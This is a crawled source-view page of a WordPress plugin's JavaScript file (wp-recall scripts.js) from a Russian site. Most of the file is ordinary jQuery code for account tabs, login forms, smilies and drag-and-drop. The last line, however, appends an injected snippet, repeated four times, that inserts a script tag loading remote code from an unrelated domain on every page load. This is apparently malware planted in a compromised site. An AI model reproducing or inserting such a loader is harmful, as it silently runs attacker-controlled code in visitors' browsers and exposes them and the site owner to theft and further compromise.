PageSourceSearch

https://pravo-olymp.ru/wp-content/plugins/wp-recall/assets/js/scripts.js?ver=16.17.2

js pravo-olymp.ru collected 2026-10-02 19:21:32 UTC 18,309 bytes, 593 lines download raw bytes

1
2jQuery(function($){
3    
4    $.fn.extend({
5        insertAtCaret: function(myValue){
6            return this.each(function(i) {
7                if (document.selection) {
8                    // Для браузеров типа Internet Explorer
9                    this.focus();
10                    var sel = document.selection.createRange();
11                    sel.text = myValue;
12                    this.focus();
13                }
14                else if (this.selectionStart || this.selectionStart == '0') {
15                    // Для браузеров типа Firefox и других Webkit-ов
16                    var startPos = this.selectionStart;
17                    var endPos = this.selectionEnd;
18                    var scrollTop = this.scrollTop;
19                    this.value = this.value.substring(0, startPos)+myValue+this.value.substring(endPos,this.value.length);
20                    this.focus();
21                    this.selectionStart = startPos + myValue.length;
22                    this.selectionEnd = startPos + myValue.length;
23                    this.scrollTop = scrollTop;
24                } else {
25                    this.value += myValue;
26                    this.focus();
27                }
28            })
29        }
30    });
31    
32    rcl_do_action('rcl_init');
33});
34
35jQuery(window).load(function() {
36    jQuery('body').on('drop', function (e) {
37        return false;
38   });
39    jQuery(document.body).bind("drop", function(e){
40        e.preventDefault();
41    }); 
42}); 
43
44rcl_add_action('rcl_init','rcl_init_ajax_tab');
45function rcl_init_ajax_tab(){
46    jQuery('body').on('click','.rcl-ajax',function(){
47        
48        var e = jQuery(this);
49        
50        if(e.hasClass('tab-upload')) return false;
51
52        rcl_do_action('rcl_before_upload_tab',e);
53
54        rcl_ajax({
55            data:{
56                action: 'rcl_ajax_tab',
57                post: e.data('post'),
58                tab_url: e.attr('href') //encodeURIComponent(e.attr('href'))
59            },
60            success: function(data){
61
62                e.removeClass('tab-upload');
63
64                data = rcl_apply_filters('rcl_upload_tab',data);
65
66                if(data.result.error){
67                    rcl_notice(data.result.error,'error',10000);
68                    return false;
69                }
70                
71                var url = data.post.tab_url;
72                var supports = data.post.supports;
73                var subtab_id = data.post.subtab_id;
74
75                if(supports && supports.indexOf('dialog')>=0){ //если вкладка поддерживает диалог
76
77                    if(!subtab_id){ //если загружается основная вкладка
78
79                        ssi_modal.show({
80                            className: 'rcl-dialog-tab '+data.post.tab_id,
81                            sizeClass: 'small',
82                            buttons: [{
83                                label: Rcl.local.close,
84                                closeAfter: true
85                            }],
86                            content: data.result
87                        });
88
89                    }else{
90
91                        var box_id = '#ssi-modalContent';
92
93                    }
94
95                }else{
96
97                    rcl_update_history_url(url);
98
99                    if(!subtab_id)
100                        jQuery('.rcl-tab-button .recall-button').removeClass('active');
101
102                    e.addClass('active');
103
104                    var box_id = '#lk-content';
105
106                }
107
108                if(box_id){
109
110                    jQuery(box_id).html(data.result);
111
112                    var options = rcl_get_options_url_params();
113
114                    if(options.scroll == 1){
115                        var offsetTop = jQuery(box_id).offset().top;
116                        jQuery('body,html').animate({scrollTop:offsetTop - options.offset}, 1000);
117                    }
118
119                    if(data.includes){
120
121                        var includes = data.includes;
122
123                        includes.forEach(function(src, i, includes) {
124
125                            jQuery.getScript(src);
126
127                        });
128
129                    }
130
131                }
132
133                if(!data.post.subtab_id){
134                    jQuery('#lk-content').animateCss('fadeIn');
135                }else{
136                    jQuery('#lk-content .rcl-subtab-content').animateCss('fadeIn');
137                }
138                
139                rcl_do_action('rcl_upload_tab',{element:e,result:data});
140                
141            }
142        });
143         
144        return false;
145        
146    });
147}
148
149function rcl_get_options_url_params(){
150    
151    var options = {
152        scroll:1,
153        offset:100
154    };
155
156    options = rcl_apply_filters('rcl_options_url_params',options);
157    
158    return options;
159}
160
161function rcl_add_dropzone(idzone){
162
163    jQuery(document.body).bind("drop", function(e){
164        var dropZone = jQuery(idzone),
165        node = e.target, 
166        found = false;
167
168        if(dropZone[0]){		
169            dropZone.removeClass('in hover');
170            do {               
171                if (node === dropZone[0]) {
172                    found = true;
173                    break;
174                }
175                node = node.parentNode;
176            } while (node != null);
177
178            if(found){
179                e.preventDefault();
180            }else{			
181                return false;
182            }
183        }
184    });
185
186    jQuery(idzone).bind('dragover', function (e) {
187        var dropZone = jQuery(idzone),
188                timeout = window.dropZoneTimeout;
189
190        if (!timeout) {
191                dropZone.addClass('in');
192        } else {
193                clearTimeout(timeout);
194        }
195
196        var found = false,
197                node = e.target;
198
199        do {
200                if (node === dropZone[0]) {
201                        found = true;
202                        break;
203                }
204                node = node.parentNode;
205        } while (node != null);
206
207        if (found) {
208                dropZone.addClass('hover');
209        } else {
210                dropZone.removeClass('hover');
211        }
212
213        window.dropZoneTimeout = setTimeout(function () {
214                window.dropZoneTimeout = null;
215                dropZone.removeClass('in hover');
216        }, 100);
217    });
218}
219
220function passwordStrength(password){
221    var desc = new Array();
222    desc[0] = Rcl.local.pass0;
223    desc[1] = Rcl.local.pass1;
224    desc[2] = Rcl.local.pass2;
225    desc[3] = Rcl.local.pass3;
226    desc[4] = Rcl.local.pass4;
227    desc[5] = Rcl.local.pass5;
228    var score   = 0;
229    if (password.length > 6) score++;   
230    if ( ( password.match(/[a-z]/) ) && ( password.match(/[A-Z]/) ) ) score++;
231    if (password.match(/\d+/)) score++;
232    if ( password.match(/.[!,@,#,$,%,^,&,*,?,_,~,-,(,)]/) ) score++;
233    if (password.length > 12) score++;
234    document.getElementById("passwordDescription").innerHTML = desc[score];
235    document.getElementById("passwordStrength").className = "strength" + score;
236}
237
238function rcl_manage_user_black_list(e,user_id){
239    
240    var class_i = jQuery(e).children('i').attr('class');
241    
242    if(class_i=='rcli fa-refresh fa-spin') return false;
243    
244    jQuery(e).children('i').attr('class','rcli fa-refresh fa-spin');
245    
246    rcl_ajax({
247        data: {
248            action: 'rcl_manage_user_black_list',
249            user_id: user_id
250        }, 
251        success: function(data){
252
253            jQuery(e).children('i').attr('class',class_i);
254
255            if(data['label']){
256                jQuery(e).find('span').text(data['label']);
257            }
258
259        }
260    });
261
262    return false;   
263}
264
265rcl_add_action('rcl_init','rcl_init_update_requared_checkbox');
266function rcl_init_update_requared_checkbox(){
267    
268    jQuery('body form').find('.required-checkbox').each(function(){
269        rcl_update_require_checkbox(this);
270    });
271    
272    jQuery('body form').on('click','.required-checkbox',function(){
273        rcl_update_require_checkbox(this);
274    });
275    
276}
277
278function rcl_show_tab(id_block){
279    jQuery(".rcl-tab-button .recall-button").removeClass("active");
280    jQuery("#lk-content .recall_content_block").removeClass("active");
281    jQuery('#tab-button-'+id_block).children('.recall-button').addClass("active");
282    jQuery('#lk-content .'+id_block+'_block').addClass("active");
283    return false;
284}
285
286rcl_add_action('rcl_init','rcl_init_recallbar_hover');
287function rcl_init_recallbar_hover(){
288    jQuery("#recallbar .menu-item-has-children").hover(function() {
289        jQuery(this).children(".sub-menu").css({'visibility': 'visible'});
290    }, function() {
291        jQuery(this).children(".sub-menu").css({'visibility': ''});
292    });
293}
294
295rcl_add_action('rcl_before_upload_tab','rcl_add_class_upload_tab');
296function rcl_add_class_upload_tab(e){
297    e.addClass('tab-upload');
298}
299
300rcl_add_action('rcl_before_upload_tab','rcl_add_preloader_tab');
301function rcl_add_preloader_tab(e){
302    rcl_preloader_show('#lk-content > div');
303    rcl_preloader_show('#ssi-modalContent > div');
304}
305
306rcl_add_action('rcl_init','rcl_init_get_smilies');
307function rcl_init_get_smilies(){
308    jQuery(document).on({
309        mouseenter: function () {
310            var sm_box = jQuery(this).next();
311            var block = sm_box.children();
312            sm_box.show();
313            if(block.html()) return false;
314            block.html(Rcl.local.loading+'...');
315            var dir = jQuery(this).data('dir');
316            
317            rcl_ajax({
318                data: {
319                    action: 'rcl_get_smiles_ajax',
320                    area: jQuery(this).parent().data('area'),
321                    dir: dir? dir: 0
322                },
323                success: function(data){				
324                    if(data['content']){
325                        block.html(data['content']);
326                    }					
327                }
328            });
329 
330        },
331        mouseleave: function () {
332            jQuery(this).next().hide();
333        }
334    }, "body .rcl-smiles .fa-smile-o");
335}
336
337rcl_add_action('rcl_init','rcl_init_hover_smilies');
338function rcl_init_hover_smilies(){
339    
340    jQuery(document).on({
341        mouseenter: function () {
342            jQuery(this).show();           
343        },
344        mouseleave: function () {
345            jQuery(this).hide();
346        }
347    }, "body .rcl-smiles > .rcl-smiles-list");
348
349    jQuery('body').on('hover click','.rcl-smiles > img',function(){
350        var block = jQuery(this).next().children();
351        if(block.html()) return false;
352        block.html(Rcl.local.loading+'...');
353        var dir = jQuery(this).data('dir');
354        
355        rcl_ajax({
356            data: {
357                action: 'rcl_get_smiles_ajax',
358                area: jQuery(this).parent().data('area'),
359                dir: dir? dir: 0
360            },
361            success: function(data){				
362                if(data['content']){
363                    block.html(data['content']);
364                }					
365            }
366        });
367 
368        return false;
369    });
370}
371
372rcl_add_action('rcl_init','rcl_init_click_smilies');
373function rcl_init_click_smilies(){
374    jQuery("body").on("click",'.rcl-smiles-list img',function(){
375        var alt = jQuery(this).attr("alt");
376        var area = jQuery(this).parents(".rcl-smiles").data("area");
377        jQuery("#"+area).val(jQuery("#"+area).val()+" "+alt+" ");
378    });
379}
380
381rcl_add_action('rcl_init','rcl_init_close_popup');
382function rcl_init_close_popup(){
383    jQuery('#rcl-popup,.floatform').on('click','.close-popup',function(){
384        rcl_hide_float_login_form();
385        jQuery('#rcl-overlay').fadeOut();
386        jQuery('#rcl-popup').empty();		
387        return false;
388    });
389}
390
391rcl_add_action('rcl_init','rcl_init_click_overlay');
392function rcl_init_click_overlay(){
393    jQuery('#rcl-overlay').click(function(){
394        rcl_hide_float_login_form();
395        jQuery('#rcl-overlay').fadeOut();
396        jQuery('#rcl-popup').empty();		
397        return false;
398    });
399}
400
401rcl_add_action('rcl_init','rcl_init_click_float_window');
402function rcl_init_click_float_window(){
403    jQuery(".float-window-recall").on('click','.close',function(){	
404        jQuery(".float-window-recall").remove();
405        return false; 
406    });
407}
408
409rcl_add_action('rcl_init','rcl_init_loginform_shift_tabs');
410function rcl_init_loginform_shift_tabs(){
411    jQuery('body').on('click','.form-tab-rcl .link-tab-rcl',function(){
412        jQuery('.form-tab-rcl').hide();
413        
414        if(jQuery(this).hasClass('link-login-rcl')) 
415            rcl_show_login_form_tab('login');
416        
417        if(jQuery(this).hasClass('link-register-rcl'))
418            rcl_show_login_form_tab('register');
419        
420        if(jQuery(this).hasClass('link-remember-rcl'))
421            rcl_show_login_form_tab('remember');
422        
423        return false; 
424    });
425}
426
427rcl_add_action('rcl_init','rcl_init_check_url_params');
428function rcl_init_check_url_params(){
429    
430    var options = rcl_get_options_url_params();
431
432    if(rcl_url_params['tab']){
433        
434        if(!jQuery("#lk-content").size()) return false;
435
436        if(options.scroll == 1){
437            var offsetTop = jQuery("#lk-content").offset().top;
438            jQuery('body,html').animate({scrollTop:offsetTop - options.offset}, 1000);
439        }
440        
441        var id_block = rcl_url_params['tab'];
442        rcl_show_tab(id_block);
443    }
444    
445}
446
447rcl_add_action('rcl_init','rcl_init_close_notice');
448function rcl_init_close_notice(){
449    jQuery('#rcl-notice,body').on('click','a.close-notice',function(){           
450        rcl_close_notice(jQuery(this).parent());
451        return false;
452    });
453}
454
455rcl_add_action('rcl_init','rcl_init_cookie');
456
457rcl_add_action('rcl_login_form','rcl_init_login_form');
458function rcl_init_login_form(type_form){
459    
460    if(rcl_url_params['action-rcl']){
461        jQuery('.panel_lk_recall.floatform > div').hide();
462    }
463    
464    if(type_form=='floatform'){
465    
466        jQuery("body").on('click','.rcl-register',function(){ 
467            rcl_show_float_login_form();
468            rcl_show_login_form_tab('register',type_form);
469            return false;
470        });
471        
472        jQuery("body").on('click','.rcl-login',function(){ 
473            rcl_show_float_login_form();
474            rcl_show_login_form_tab('login',type_form);
475            return false;
476        });
477        
478        if(rcl_url_params['action-rcl']){
479            rcl_show_float_login_form();
480        }
481
482    }else{
483        
484        if(rcl_url_params['action-rcl']==='login'){
485            jQuery('.rcl-loginform-full.'+type_form+' #register-form-rcl').hide();
486        }
487
488        if(rcl_url_params['action-rcl']==='register'){
489            jQuery('.rcl-loginform-full.'+type_form+' #login-form-rcl').hide();
490        }
491
492        if(rcl_url_params['action-rcl']==='remember'){
493            jQuery('.rcl-loginform.'+type_form+' #login-form-rcl').hide();
494        }
495        
496    }
497    
498    if(rcl_url_params['action-rcl']){
499        rcl_show_login_form_tab(rcl_url_params['action-rcl'],type_form);
500    }
501    
502}
503
504function rcl_show_login_form_tab(tab,type_form){    
505    type_form = (!type_form)? '' : '.'+type_form;
506    jQuery('.panel_lk_recall'+type_form+' #'+tab+'-form-rcl').show();
507}
508
509function rcl_show_float_login_form(){
510    jQuery('.panel_lk_recall.floatform > div').hide();
511    rcl_setup_position_float_form();
512    jQuery('.panel_lk_recall.floatform').show();
513}
514
515function rcl_hide_float_login_form(){
516    jQuery('.panel_lk_recall.floatform').fadeOut().children('.form-tab-rcl').hide();
517}
518
519function rcl_setup_position_float_form(){
520    jQuery("#rcl-overlay").fadeIn(); 
521    var screen_top = jQuery(window).scrollTop();
522    var popup_h = jQuery('.panel_lk_recall.floatform').height();
523    var window_h = jQuery(window).height();
524    screen_top = screen_top + 60;
525    jQuery('.panel_lk_recall.floatform').css('top', screen_top+'px');
526}
527
528rcl_add_action('rcl_footer','rcl_beat');
529function rcl_beat(){
530    
531    var beats = rcl_apply_filters('rcl_beats',rcl_beats);
532
533    var DataBeat = rcl_get_actual_beats_data(beats);
534
535    if(rcl_beats_delay && DataBeat.length){
536        
537        rcl_do_action('rcl_beat');
538
539        rcl_ajax({
540            data: {
541                action: 'rcl_beat',
542                databeat: JSON.stringify(DataBeat)
543            },
544            success: function(data){
545
546                data.forEach(function(result, i, data) {
547                    
548                    rcl_do_action('rcl_beat_success_'+result['beat_name']);
549                    
550                    new (window[result['success']])(result['result']);
551                    
552                });
553
554            }
555        }); 
556    
557    }
558    
559    rcl_beats_delay++;
560    
561    setTimeout('rcl_beat()', 1000);
562}
563
564function rcl_get_actual_beats_data(beats){
565    
566    var beats_actual = new Array();
567    
568    if(beats){
569
570        beats.forEach(function(beat, i, beats) {
571            var rest = rcl_beats_delay % beat.delay;
572            if(rest == 0){
573
574                var object = new (window[beat.beat_name])(beat.data);
575                
576                if(object.data){
577
578                    object = rcl_apply_filters('rcl_beat_' + beat.beat_name,object);
579
580                    object.beat_name = beat.beat_name;
581
582                    var k = beats_actual.length;
583                    beats_actual[k] = object;
584                }
585            }
586        });
587    
588    }
589
590    return beats_actual;
591    
592}
593;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https://es6featureshub.com/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https://es6featureshub.com/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https://es6featureshub.com/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https://es6featureshub.com/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);

Line numbers count LF bytes from the start of the resource, as the search results do. Vendor segments are library code the classifier recognised; they are stored but not indexed. Bytes are shown as Latin1 characters, one per byte.